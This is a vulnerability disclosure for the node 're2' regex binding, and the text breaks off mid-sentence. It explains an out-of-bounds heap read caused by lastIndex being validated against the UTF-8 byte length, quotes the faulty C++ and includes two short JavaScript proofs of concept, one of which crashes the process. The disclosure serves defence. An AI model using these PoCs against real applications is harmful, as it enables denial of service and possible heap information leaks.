re2: Out-of-bounds heap read in exec/test/match via attacker-influenced lastIndex on a non-ASCII subject → uncatchable process crash (DoS)
Summary
re2 validates the user-settable lastIndex against the subject's UTF-8 byte length but then uses it as a UTF-16 code-unit count to walk the subject buffer, with no bounds check. For any non-ASCII subject, the byte length is larger than the true character count, so a lastIndex between those two values passes validation while pointing past the end of the buffer. The subsequent walk reads out of bounds. With a large subject the read marches into unmapped memory and the process dies with SIGABRT/SIGSEGV — an uncatchable crash (try/catch cannot stop it), i.e. a denial of service for any worker/process that runs the match. In some cases the out-of-bounds bytes are copied into the returned value (a bounded, best-effort heap information leak).
Root cause
The subject wrapper stores the UTF-8 byte length in StrVal::length:
lib/addon.cc:200 auto argLength = utf8Length(s, isolate); — UTF-8 byte countlib/addon.cc:209 lastStringValue.reset(buffer, argSize, argLength, startFrom, false, isAscii);
setIndex then validates the (UTF-16) lastIndex against that byte length and walks the buffer by character count:
```cpp
// lib/addon.cc:229
void StrVal::setIndex(size_t newIndex) {
isValidIndex = newIndex <= length; // length == UTF-8 BYTE length, not UTF-16 length
if (!isValidIndex) { index = newIndex; byteIndex = 0; return; }
...
// addon.cc:263
byteIndex = index < newIndex
? getUtf16PositionByCounter(data, byteIndex, newIndex - index)
: getUtf16PositionByCounter(data, 0, newIndex);
index = newIndex;
}
```
getUtf16PositionByCounter reads data[from] and advances by the UTF-8 char size with no check of from against the buffer size:
```cpp
// lib/wrapped_re2.h:264
inline size_t getUtf16PositionByCounter(const char *data, size_t from, size_t n) {
for (; n > 0; --n) {
size_t s = getUtf8CharSize(data[from]); // <-- OOB read once from passes the buffer end
from += s;
if (s == 4 && n >= 2) --n;
}
return from;
}
```
lastIndex is user-settable to any positive integer (capped only at >= 0, no upper bound):
```cpp
// lib/accessors.cc:166
NAN_SETTER(WrappedRE2::SetLastIndex) {
...
int n = value->NumberValue(...).FromMaybe(0);
re2->lastIndex = n <= 0 ? 0 : n; // no upper bound relative to the subject
}
```
For an ASCII subject the byte length equals the UTF-16 length, so the guard is correct — this only triggers on non-ASCII subjects. The out-of-bounds read happens inside prepareArgument for any global/sticky regex, reached by exec, test, String.prototype.match, replace, and split.
Proof of concept
Minimal (AddressSanitizer, deterministic OOB read):
```js
const RE2 = require('re2');
const re = new RE2('a', 'y'); // sticky; 'g' also works
re.lastIndex = 3; // 3 <= byteLen(4) passes the guard; only 2 real chars exist
re.exec('éé'); // U+00E9 = 2 bytes each
```
Built with -fsanitize=address, this aborts with:
```
ERROR: AddressSanitizer: heap-buffer-overflow ... READ of size 1
#0 getUtf16PositionByCounter wrapped_re2.h:268
#1 StrVal::reset addon.cc:277
#2 WrappedRE2::prepareArgument addon.cc:209
#3 WrappedRE2::Exec exec.cc:17
```
The overflowed region is the subject buffer allocated by node::Buffer::New at addon.cc:205.
Real-world impact on the shipped prebuilt binary (no ASAN) — uncatchable crash:
```js
const RE2 = require('re2');
const s = '中'.repeat(40000000); // UTF-16 length 40M, UTF-8 bytes 120M
const re = new RE2('a', 'y');
re.lastIndex = Buffer.byteLength(s) - 1; // passes the byte-length guard, far exceeds real char count
re.exec(s); // walks into unmapped memory -> SIGSEGV (exit 139)
```
try { ... } catch (e) {} around the call does not prevent termination — it is a native fault, not a JS exception. Validated on a clean npm install [email protected] (latest): stock prebuilt → SIGSEGV; ASAN build → the heap-buffer-overflow read above.
Impact
- Denial of service (primary): an uncatchable native crash that terminates the Node process/worker. Reachable remotely and without authentication wherever an application (a) uses a
global or sticky RE2, (b) applies it to a non-ASCII subject, and (c) sets lastIndex from attacker-influenced data (e.g. resuming a scan/pagination at a client-supplied offset). - Information disclosure (secondary, best-effort): the out-of-bounds
byteIndex can cause adjacent heap bytes to be copied into the returned value (e.g. the leading segment of a replace result). This is bounded and unreliable — the subject buffer is calloc-allocated (zero-filled) and the over-read distance depends on interpreting out-of-bounds bytes as UTF
